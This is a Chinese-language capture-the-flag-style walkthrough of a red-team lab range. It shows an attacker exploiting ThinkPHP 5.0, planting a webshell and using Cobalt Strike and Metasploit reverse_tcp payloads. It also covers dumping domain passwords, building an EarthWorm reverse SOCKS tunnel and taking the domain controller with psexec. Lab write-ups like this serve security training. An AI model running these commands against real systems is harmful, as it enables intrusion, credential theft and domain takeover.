红队打靶，红日系列，红日靶场5

靶场详情

此次靶场虚拟机共用两个，一个外网一个内网，用来练习红队相关内容和方向，主要包括常规信息收集、Web攻防、代码审计、漏洞利用、内网渗透以及域渗透等相关内容学习

Windows 7：

•Web服务器（使用的是PHPStudy，记得自己手动开一下）
•模拟外网IP：192.168.0.100
•内网IP：192.168.138.136

Windows Server 2008：

•域控制器
•内网IP：192.168.138.138

攻击者VPS：

•OS：Kali Linux
•IP：192.168.0.101

外网渗透

端口扫描

发现Web服务和Mysql：

nmap -sS -P0 -sV -O 192.168.0.100

访问80端口发现是个thinkphp5.0：

随意输入一个不存在的页面，爆出具体版本

漏洞发现与利用

既然是V5.0，那么我们就可以尝试一下Thinkphp远程命令执行漏洞

1. 使用工具，发现目标存在多个漏洞
   
   随意利用一个
   

2. 使用kali的searchsploit查找一下漏洞利用POC：

   searchsploit thinkphp
   

   
   复制到桌面，查看一下poc
   
   

获取shell

这里我直接用的工具上传的shell，也可以根据上面kali中poc的提示写进去

使用冰蝎连接，外网渗透结束

内网渗透

提权

打开神器CS，创建监视器，生成木马


使用冰蝎将刚刚生成的马子上传到服务器并执行

成功上线

使用插件提权，权限变成了system

内网信息收集

接下来要做的就是信息收集了，常见姿势了解一下

 ipconfig /all   # 查看本机ip，所在域
 route print     # 打印路由信息
 net view        # 查看局域网内其他主机名
 arp -a          # 查看arp缓存
 whoami          # 查看当前用户
 net start       # 查看开启了哪些服务
 net share       # 查看开启了哪些共享
 
 net config workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
 net user                 # 查看本机用户列表
 net user /domain         # 查看域用户
 net localgroup administrators   # 查看本地管理员组（通常会有域用户）
 net view /domain         # 查看有几个域
 net user 用户名 /domain   # 获取指定域用户的信息
 net group /domain        # 查看域里面的工作组，查看把用户分了多少组（只能在域控上操作）
 net group 组名 /domain    # 查看域中某工作组
 net group "domain admins" /domain  # 查看域管理员的名字
 net group "domain computers" /domain  # 查看域中的其他主机名
 net group "domain controllers" /domain  # 查看域控制器（可能有多台）

目标主机所在的网络环境还存在一个192.168.138.0的网段，并且存在一个名为“sun”的域环境。
域控制器为DC$，域管理员为Administrator。

对内网来个大保健（详细扫描），发现内网服务器为server2008,192.168.138.138，还存在ms17010

使用插件提权，抓一下明文密码，成功抓取到了域管理员Administrator和域用户leo的密码：

•SUN\Administrator：dc123.com
•SUN\leo：123.com

横向移动

第一种使用CS

对138网段进行常见端口扫描，直接就发现了138.138,还判断出了为dc

用win7当跳板上线dc
新建监视器，使用smb协议，地址选择win7的ip

使用psexe64进行横向移动

使用刚刚收集到的凭据，上线成功

第二种使用msf

这里我们使用metasploit的web_delivery模块：

use exploit/multi/script/web_delivery
set target 2    # 选择使用powershell类型的payload
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.100
exploit

将上面生成的payload在目标主机上执行：

上线成功

getsystem一下

这里也可以执行一下内网信息收集的命令

路由转发与代理通道

通过冰蝎在Windows 7上传earthworm，搭建socks5反向代理服务。
在攻击机kali上执行如下命令：

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

然后配置proxychains，将socks5服务器指向127.0.0.1:1080

vim /etc/proxychains4.conf

在Windows 7上传ew_for_Win.exe并执行如下：

ew_for_Win.exe -s rssocks -d 192.168.0.100 -e 1234

之后便可以使用proxychains将我们的程序代理进内网了。

Psexec 攻击

既然已经获得了域管理员的用户名密码，那么我们直接尝试使用psexec登录域控（Windows 2008）：

use exploit/windows/smb/psexec
set rhosts 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass dc123.com
# set SMBPass c8c42d085b5e3da2e9260223765451f1:e8bea972b3549868cecd667a64a6ac46
set payload windows/meterpreter/bind_tcp
set rhost 192.168.138.138
run

成功上线。